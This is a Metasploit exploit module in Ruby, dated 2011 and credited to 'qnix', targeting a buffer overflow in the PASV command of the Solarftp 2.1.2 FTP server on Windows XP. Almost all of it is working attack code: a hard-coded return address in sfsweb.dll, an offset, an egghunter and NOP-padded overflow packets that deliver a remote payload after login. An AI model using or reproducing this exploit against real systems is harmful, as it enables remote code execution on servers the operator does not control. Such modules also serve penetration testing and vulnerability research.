Solarftp 2.1.2 - PASV Buffer Overflow Exploit (Metasploit)



# Exploit Title: Solarftp v2.1.2 PASV buffer overflow

# Date: Aug 17, 2011
# Author: qnix
# Software Link: http://solarftp.com/files/solarftps-setup.exe
# Version: 2.1.2
# Tested on: Windows XP Universal
# Detailed info: http://0x80.org/blog/?p=545

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = AverageRanking
    include Msf::Exploit::Remote::Ftp
    include Msf::Exploit::Remote::Egghunter
    
    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Solarftp 2.1.2 PASV Command Buffer Overflow',
            'Description'    => %q{
                This module exploits a buffer overflow in the PASV command in Solarftp 2.1.2
                You must have valid credentials to trigger this vulnerability. Also, you
                ony get one chance.
            },
            'Author'         => 'qnix',
            'License'        => MSF_LICENSE,
            'References'     =>
                [
                    [ 'URL', 'http://0x80.org/blog/?p=545'],
                ],
            'DefaultOptions' =>
                {
                    'WfsDelay' => 45,
                    'EXITFUNC' => 'thread',
                },
            'Payload'        =>
                {
                    'Space'    => 1000,
                    'BadChars' => "\x00\x20\x0a\x0d",
                    'StackAdjustment'       => -3500,
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                                                       #1001BD23   . FFE0   JMP EAX  @sfsweb.dll
                    [ 'Windows XP Universal',       { 'Ret' => 0x1001BD23, 'Offset' => 195} ],
                ],
            'DisclosureDate' => 'Aug 17 2011',
            'DefaultTarget'  => 0))
    end


    def exploit
        connect_login
        print_status("Trying target #{target.name}")

        print_status("Creating Egg Hunter")
        eggoptions =
        {
        :checksum => true,
        :eggtag   => "W00T"
        }
        hunter,egg = generate_egghunter(payload.encoded,payload_badchars,eggoptions)
        
        fix = "\x11"         # To fix some left overs from uncontrolled buffer
                            # to avoid access violation.
        pk1 = make_nops(75)
        pk1 << fix
        pk1 << make_nops(20)
        pk1 << hunter
        pk1 << make_nops((100-fix.length-hunter.length))
        pk1 << [target.ret].pack('V')
        pk1 << egg
        pk1 << make_nops(6631-[target.ret].length-target['Offset']-egg.length)
        print_status("Sending first packet...")
        send_cmd( ["PASV",pk1], false)
        
        pk2 = make_nops(3000)
        print_status("Sending second packet...")
        send_cmd( ["PASV",pk2], false)
        
        handler
        disconnect
    end

end